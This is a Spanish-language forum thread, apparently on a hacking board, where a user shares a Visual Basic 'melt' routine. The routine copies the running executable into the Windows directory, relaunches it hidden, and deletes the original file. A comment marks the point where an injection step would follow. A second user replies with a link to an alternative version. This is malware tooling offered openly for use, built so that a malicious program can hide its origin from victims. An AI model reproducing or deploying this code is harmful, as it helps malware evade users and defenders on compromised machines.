Melt

[fary]

Bueno, hace un tiempo, vi el melt que hizo MadAntrax y me inspire a hacer el mio, aqui os lo dejo:

Código (vb) [Seleccionar] Expandir

' Melt  By Drinky94.

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Public Function DrinkyMelt(Datos As String) As Boolean
   If App.Path = Environ("windir") Then
       Kill Datos
       ' Llegados a este punto ya hemos temrinado el melt y tenemos que llamar a la funcion normal para que siga la ejecucion ejemplo:
       ' Call Inyectar
   Else
       FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("Windir") & "\Melt.exe"
       Call ShellExecute(0, "Open", Environ("Windir") & "\Melt.exe", App.Path & "\" & App.EXEName & ".exe", vbNullString, 0)
       End
   End If
End Function

Private Sub form_load()
   Call DrinkyMelt(Command)
End Sub

salu2!

[BlackZeroX]

xD, este me gusta mas!¡.

Código (vb) [Seleccionar] Expandir



http://www.advancevb.com.ar/?p=207



Dulces Lunas!¡.